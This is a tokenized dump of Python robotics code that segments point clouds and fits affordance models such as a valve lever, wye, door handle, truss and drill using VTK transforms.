"parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "radius_", "=_", "0.01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "length_", "=_", "0.33", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "normal_", "=_", "-_", "normal_", "#", " ", "set", " ", "z", " ", "to", " ", "face", " ", "int", "o", " ", "wall_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "normal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "[_", "0_", ",_", "0_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "point2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "leve", "r", "P1_", "=_", "point2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leve", "r", "P2_", "=_", "point2_", "+_", "xaxis_", "*_", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "Deb", "ug", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Line_", "(_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "[_", "length_", ",_", "0_", ",_", "0_", "]_", ",_", "radius_", "=_", "radius_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Sphere", "_", "(_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "0.02_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "geometry_", "=_", "d_", "._", "get", "Poly", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "=_", "show", "Poly", "Data_", "(_", "geometry_", ",_", "'", "valve", " ", "leve", "r", "'_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "parent_", "=_", "'", "aff", "orda", "nce", "s", "'_", ",_", "color_", "=_", "[_", "0_", ",_", "1_", ",_", "0_", "]_", ",_", "visible_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "=_", "show", "Frame_", "(_", "t_", ",_", "'", "leve", "r", " ", "frame", "'_", ",_", "parent_", "=_", "obj_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ot", "df", "Type_", "=_", "'", "leve", "r", "\\u", "valve", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "dict_", "(_", "origin_", "=_", "np_", "._", "array_", "(_", "t_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "xaxis_", "=_", "xaxis_", ",_", "yaxis_", "=_", "yaxis_", ",_", "za", "xis_", "=_", "za", "xis_", ",_", "xw", "idth_", "=_", "0.1_", ",_", "yw", "idth_", "=_", "0.1_", ",_", "zw", "idth_", "=_", "0.1_", ",_", "radius_", "=_", "radius_", ",_", "length_", "=_", "length_", ",_", "frie", "ndl", "y", "\\u", "name_", "=_", "ot", "df", "Type_", ",_", "ot", "df", "\\u", "type_", "=_", "ot", "df", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Wy", "e_", "(_", "point1_", ",_", "point2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "Plan", "e", "Normal_", "=_", "np_", "._", "array_", "(_", "get", "Segmentation", "View_", "(_", ")_", "._", "camera_", "(_", ")_", "._", "Get", "View", "Plan", "e", "Normal_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", ",_", "origin_", ",_", "normal_", "=_", "appl", "y", "Plan", "e", "Fit_", "(_", "poly", "Data_", ",_", "expected", "Normal_", "=_", "view", "Plan", "e", "Normal_", ",_", "search", "Origin_", "=_", "point1_", ",_", "search", "Radius_", "=_", "0.2_", ",_", "angle", "Eps", "ilon", "_", "=_", "0.7_", ",_", "return", "Origin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wall", "Points_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "-_", "0.01_", ",_", "0.01_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "wall", "Points_", ",_", "'", "wall", " ", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wy", "e", "Mesh_", "=_", "io", "Utils_", "._", "read", "Poly", "Data_", "(_", "os_", "._", "path_", "._", "join_", "(_", "app_", "._", "get", "DR", "CB", "ase_", "(_", ")_", ",_", "'", "software", "/", "model", "s", "/", "ot", "df", "/", "wy", "e", ".", "obj", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wy", "e", "Mesh", "Point_", "=_", "np_", "._", "array_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.005_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wy", "e", "Mesh", "Le", "ft", "Handle_", "=_", "np_", "._", "array_", "(_", "[_", "0.03", "229", "2_", ",_", "0.02", "949", "_", ",_", "0.06", "848", "5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xaxis_", "=_", "-_", "normal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "[_", "0_", ",_", "0_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "np_", "._", "cross_", "(_", "xaxis_", ",_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Pre", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "-_", "wy", "e", "Mesh", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "point2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "=_", "Deb", "ug", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Sphere", "_", "(_", "point2_", ",_", "radius_", "=_", "0.005_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "d_", "._", "get", "Poly", "Data_", "(_", ")_", ",_", "'", "wy", "e", " ", "pick", " ", "point", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wy", "e", "Obj_", "=_", "show", "Poly", "Data_", "(_", "wy", "e", "Mesh_", ",_", "'", "wy", "e", "'_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "color_", "=_", "[_", "0_", ",_", "1_", ",_", "0_", "]_", ",_", "visible_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wy", "e", "Obj_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wy", "e", "Obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "=_", "show", "Frame_", "(_", "t_", ",_", "'", "wy", "e", " ", "frame", "'_", ",_", "parent_", "=_", "wy", "e", "Obj_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "dict_", "(_", "origin_", "=_", "np_", "._", "array_", "(_", "t_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "xaxis_", "=_", "xaxis_", ",_", "yaxis_", "=_", "yaxis_", ",_", "za", "xis_", "=_", "za", "xis_", ",_", "xw", "idth_", "=_", "0.1_", ",_", "yw", "idth_", "=_", "0.1_", ",_", "zw", "idth_", "=_", "0.1_", ",_", "frie", "ndl", "y", "\\u", "name_", "=_", "'", "wy", "e", "'_", ",_", "ot", "df", "\\u", "type_", "=_", "'", "wy", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wy", "e", "Obj_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wy", "e", "Obj_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Doo", "r", "Handle_", "(_", "ot", "df", "Type_", ",_", "point1_", ",_", "point2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "Plan", "e", "Normal_", "=_", "np_", "._", "array_", "(_", "get", "Segmentation", "View_", "(_", ")_", "._", "camera_", "(_", ")_", "._", "Get", "View", "Plan", "e", "Normal_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", ",_", "origin_", ",_", "normal_", "=_", "appl", "y", "Plan", "e", "Fit_", "(_", "poly", "Data_", ",_", "expected", "Normal_", "=_", "view", "Plan", "e", "Normal_", ",_", "search", "Origin_", "=_", "point1_", ",_", "search", "Radius_", "=_", "0.2_", ",_", "angle", "Eps", "ilon", "_", "=_", "0.7_", ",_", "return", "Origin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wall", "Points_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "-_", "0.01_", ",_", "0.01_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "wall", "Points_", ",_", "'", "wall", " ", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Point_", "=_", "np_", "._", "array_", "(_", "[_", "0.005_", ",_", "0.06", "5_", ",_", "0.011", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xaxis_", "=_", "-_", "normal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "[_", "0_", ",_", "0_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "np_", "._", "cross_", "(_", "xaxis_", ",_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xw", "idth_", "=_", "0.01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yw", "idth_", "=_", "0.13", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zw", "idth_", "=_", "0.02", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cube_", "=_", "vtk_", "._", "vtk", "Cub", "e", "Source_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cube_", "._", "Set", "XL", "ength", "_", "(_", "xw", "idth_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cube_", "._", "Set", "YL", "ength", "_", "(_", "yw", "idth_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cube_", "._", "Set", "ZL", "ength", "_", "(_", "zw", "idth_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cube_", "._", "Update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cube_", "=_", "shallow", "Copy_", "(_", "cube_", "._", "Get", "Output_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "t", ".", "Pre", "Multiply", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "t", ".", "Translate", "(-", "handle", "Point", ")_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "point2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "door", " ", "handle", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "show", "Poly", "Data_", "(_", "cube_", ",_", "name_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "parent_", "=_", "'", "aff", "orda", "nce", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "dict_", "(_", "origin_", "=_", "origin_", ",_", "xw", "idth_", "=_", "xw", "idth_", ",_", "yw", "idth_", "=_", "yw", "idth_", ",_", "zw", "idth_", "=_", "zw", "idth_", ",_", "xaxis_", "=_", "xaxis_", ",_", "yaxis_", "=_", "yaxis_", ",_", "za", "xis_", "=_", "za", "xis_", ",_", "frie", "ndl", "y", "\\u", "name_", "=_", "name_", ",_", "ot", "df", "\\u", "type_", "=_", "ot", "df", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frame", "Obj_", "=_", "show", "Frame_", "(_", "obj_", "._", "actor_", "._", "Get", "User", "Transform_", "(_", ")_", ",_", "name_", "+_", "'", " ", "frame", "'_", ",_", "parent_", "=_", "obj_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Tru", "ss_", "(_", "point1_", ",_", "point2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "edge_", "=_", "point2_", "-_", "point1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Length_", "=_", "np_", "._", "linalg_", "._", "norm_", "(_", "edge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Offset_", "=_", "[_", "-_", "0.42", "_", ",_", "0.0_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Ya", "w_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "=_", "Deb", "ug", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p1_", "=_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "-_", "np_", "._", "array_", "(_", "[_", "0.0_", ",_", "-_", "1.0_", ",_", "0.0_", "]_", ")_", "*_", "edge", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Sphere", "_", "(_", "p1_", ",_", "radius_", "=_", "0.02_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Sphere", "_", "(_", "p2_", ",_", "radius_", "=_", "0.02_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Line_", "(_", "p1_", ",_", "p2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Transform_", "=_", "vtk_", "._", "vtk", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Transform_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Transform_", "._", "Translate", "_", "(_", "stance", "Offset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "stance", "Transform", ".", "Rotate", "Z", "(", "stance", "Ya", "w", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "geometry_", "=_", "transform", "Poly", "Data_", "(_", "d_", "._", "get", "Poly", "Data_", "(_", ")_", ",_", "stance", "Transform_", "._", "Get", "Linea", "r", "Inv", "erse", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yaxis_", "=_", "edge_", "/_", "edge", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "[_", "0.0_", ",_", "0.0_", ",_", "1.0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xw", "idth_", "=_", "0.1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yw", "idth_", "=_", "edge", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zw", "idth_", "=_", "0.1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Pre", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Concat", "enat", "e_", "(_", "stance", "Transform_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "point1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "tru", "ss", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ot", "df", "Type_", "=_", "'", "robot", "\\u", "kne", "es", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "show", "Poly", "Data_", "(_", "geometry_", ",_", "name_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "parent_", "=_", "'", "aff", "orda", "nce", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "dict_", "(_", "origin_", "=_", "t_", "._", "Get", "Position_", "(_", ")_", ",_", "xw", "idth_", "=_", "xw", "idth_", ",_", "yw", "idth_", "=_", "yw", "idth_", ",_", "zw", "idth_", "=_", "zw", "idth_", ",_", "xaxis_", "=_", "xaxis_", ",_", "yaxis_", "=_", "yaxis_", ",_", "za", "xis_", "=_", "za", "xis_", ",_", "frie", "ndl", "y", "\\u", "name_", "=_", "name_", ",_", "ot", "df", "\\u", "type_", "=_", "ot", "df", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frame", "Obj_", "=_", "show", "Frame_", "(_", "obj_", "._", "actor_", "._", "Get", "User", "Transform_", "(_", ")_", ",_", "name_", "+_", "'", " ", "frame", "'_", ",_", "parent_", "=_", "obj_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame", "Obj_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Translat", "ion", "Relative", "To", "Foot", "_", "(_", "t_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rf", "oot_", "=_", "get", "Link", "Frame_", "(_", "dr", "car", "gs_", "._", "get", "Director", "Config_", "(_", ")_", "[_", "'", "right", "Foot", "Link", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Dri", "ll_", "(_", "point1_", ",_", "point2_", ",_", "point", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "Plan", "e", "Normal_", "=_", "np_", "._", "array_", "(_", "get", "Segmentation", "View_", "(_", ")_", "._", "camera_", "(_", ")_", "._", "Get", "View", "Plan", "e", "Normal_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", ",_", "origin_", ",_", "normal_", "=_", "appl", "y", "Plan", "e", "Fit_", "(_", "poly", "Data_", ",_", "expected", "Normal_", "=_", "view", "Plan", "e", "Normal_", ",_", "search", "Origin_", "=_", "point1_", ",_", "search", "Radius_", "=_", "0.2_", ",_", "angle", "Eps", "ilon", "_", "=_", "0.7_", ",_", "return", "Origin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "table", "Points_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "-_", "0.01_", ",_", "0.01_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "table", "Points_", ",_", "'", "table", " ", "plane", " ", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "search", "Region_", "=_", "threshol", "d", 